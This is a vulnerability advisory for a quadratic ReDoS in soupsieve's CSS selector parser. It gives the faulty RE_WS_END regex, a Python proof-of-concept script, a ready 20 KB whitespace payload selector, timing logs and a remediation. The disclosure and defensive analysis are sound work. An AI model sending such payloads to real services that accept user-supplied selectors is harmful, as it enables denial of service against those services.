PYSEC-2026-4171

Summary

Before tokenizing, selector_iter trims leading/trailing whitespace and comments by running two regexes over the whole raw selector with .search(). The trailing one, RE_WS_END = re.compile(r'{WSC}*$'), is anchored only at the end ($), not the start. Because .search() retries the pattern at every offset, a long run of whitespace or CSS comments that is not sitting exactly at the end of the string makes each retry greedily consume the run and then fail $, producing O(n²) time. This triggers on perfectly valid selectors — e.g. a descendant combinator with a long whitespace gap, a + " "*n + b — so no malformed input is required. A single valid ~20 KB selector stalls the interpreter for ~10 s of CPU.

Trust model (Q0)

The selector string is the input, reaching this code via soupsieve.compile(), the soupsieve.select/iselect/match/filter helpers, and BeautifulSoup's soup.select(selector) / soup.select_one(selector). Exploitable wherever an application passes a user-controlled CSS selector to BeautifulSoup/soupsieve. Applications using only hard-coded selectors are unaffected.

Root cause (exact anchors) — src/soupsieve/css_parser.py

# line 185-186
RE_WS_BEGIN = re.compile(fr'^{WSC}*')   # anchored at start -> .search() only tries pos 0 -> linear (safe)
RE_WS_END   = re.compile(fr'{WSC}*$')   # NOT anchored at start -> .search() tries every offset

# selector_iter, lines ~1322-1326
m = RE_WS_BEGIN.search(pattern)
index = m.end(0) if m else 0
m = RE_WS_END.search(pattern)                     # <-- O(n^2) here
end = (m.start(0) - 1) if m else (len(pattern) - 1)

WSC = (?:{WS}|{COMMENTS}). For RE_WS_END = (?:WS|COMMENTS)*$, .search() walks start offsets 0..n. Whenever the offset lands inside a long whitespace/comment run, (?:WS|COMMENTS)* greedily consumes to the run's end, then $ fails (a non-whitespace char follows), the engine backtracks the whole run, the offset advances by one, and the work repeats — O(n) offsets × O(n) per attempt = O(n²). RE_WS_BEGIN avoids this because ^ pins it to a single start offset.

The intent (trim trailing whitespace/comments) can be met with an anchored/loopless approach; the current unanchored .search() of a *$ pattern is the defect.

Reproduction environment (discipline #12 — published artifact)

• git HEAD 751c57b (2.9, PYTHONPATH=src): cd src && python3 ../poc/poc_redos_ws_trim.py.
• Published PyPI soupsieve 2.8.4 (fresh uv pip install soupsieve beautifulsoup4): cd poc && ../.venv-published/bin/python poc_redos_ws_trim.py → same O(n²) (evidence: poc/evidence_redos_ws_trim_PUBLISHED_2.8.4.log).
• Python 3.11.15 and 3.14.6 both reproduce.

PoC (poc/poc_redos_ws_trim.py)

import sys, time
sys.path.insert(0, ".")
import soupsieve as sv

def ct(sel):
    t0 = time.perf_counter()
    try:
        sv.compile(sel); st = "ok"
    except Exception as e:
        st = type(e).__name__
    return time.perf_counter() - t0, st

print(f"soupsieve {sv.__version__}\n")

print("VALID selector 'a' + ' '*n + 'b'  (descendant combinator, lots of whitespace):")
for n in (2000, 4000, 8000, 16000):
    dt, st = ct("a" + " " * n + "b")
    print(f"  n={n:<6} len={n+2:<7} {dt*1000:9.1f} ms  [{st}]")

payload = "a" + " " * 20000 + "b"
dt, st = ct(payload)
print(f"\n[+] Single call: compile('a' + ' '*20000 + 'b')  (len={len(payload)})")
print(f"[+] wall time = {dt:.2f} s   [{st}]")

Isolated confirmation that the cost is in RE_WS_END.search specifically (poc/isolate_ws_trim.py): RE_WS_END on "div"+" "*n+">" is O(n²) (2000→100 ms, 4000→448 ms, 8000→1622 ms, 16000→6719 ms), while the start-anchored RE_WS_BEGIN on " "*n+"x" stays linear (32000→1.5 ms). Profiling compile shows the entire wall time in 2 re.Pattern.search calls, not .match.

Evidence — HEAD 2.9 (verbatim poc/evidence_redos_ws_trim.log)

soupsieve 2.9

VALID selector 'a' + ' '*n + 'b'  (descendant combinator, lots of whitespace):
  n=2000   len=2002        112.3 ms  [ok]
  n=4000   len=4002        411.5 ms  [ok]
  n=8000   len=8002       1602.9 ms  [ok]
  n=16000  len=16002      6464.1 ms  [ok]

VALID-looking 'a' + '/*x*/'*n + 'b'  (CSS comment run):
  n=1000   len=5002         48.9 ms  [SelectorSyntaxError]
  n=2000   len=10002       194.8 ms  [SelectorSyntaxError]
  n=4000   len=20002       780.2 ms  [SelectorSyntaxError]
  n=8000   len=40002      3145.3 ms  [SelectorSyntaxError]

[+] Single call: compile('a' + ' '*20000 + 'b')  (len=20002)
[+] wall time = 10.23 s   [ok]

Evidence — published 2.8.4 (verbatim poc/evidence_redos_ws_trim_PUBLISHED_2.8.4.log)

soupsieve 2.8.4

VALID selector 'a' + ' '*n + 'b':
  n=2000   len=2002        102.7 ms  [ok]
  n=4000   len=4002        404.3 ms  [ok]
  n=8000   len=8002       1618.2 ms  [ok]
  n=16000  len=16002      6457.9 ms  [ok]
[+] Single call: compile('a' + ' '*20000 + 'b')  wall time = 10.11 s   [ok]

Impact — calibrated

• Confirmed: quadratic CPU per compile()/select() call on an attacker-controlled selector, triggered by a long internal whitespace or CSS-comment run. ~8 KB → ~1.6 s; ~20 KB → ~10 s; scaling ~×4 per input doubling. Notably fires on WELL-FORMED selectors, so it does not depend on a parser error path.
• Realistic exposure: services that accept user-supplied CSS selectors and feed them to BeautifulSoup/soupsieve.
• NOT claimed: exponential blowup, memory corruption, or code execution. Availability (DoS) only, and only where selectors are attacker-influenced.

Distinction from the IDENTIFIER/VALUE ReDoS

This is a separate root cause and a separate fix: the cost here is entirely in the RE_WS_END = {WSC}*$ trim step run with .search() before tokenizing (measured in re.Pattern.search), whereas the IDENTIFIER/VALUE issue is adjacent-quantifier backtracking during token .match(). They can be fixed independently.

Remediation

• Anchor or de-loop the trailing-trim step: instead of .search() of {WSC}*$, scan trailing whitespace/comments from the end directly (e.g. reverse scan, or re.compile(r'^{WSC}*').match on a reversed-equivalent), so no per-offset retry occurs.
• Alternatively strip whitespace/comments in a single forward tokenizing pass rather than with a pre-pass *$ search.
• Defense-in-depth: cap selector length before compiling.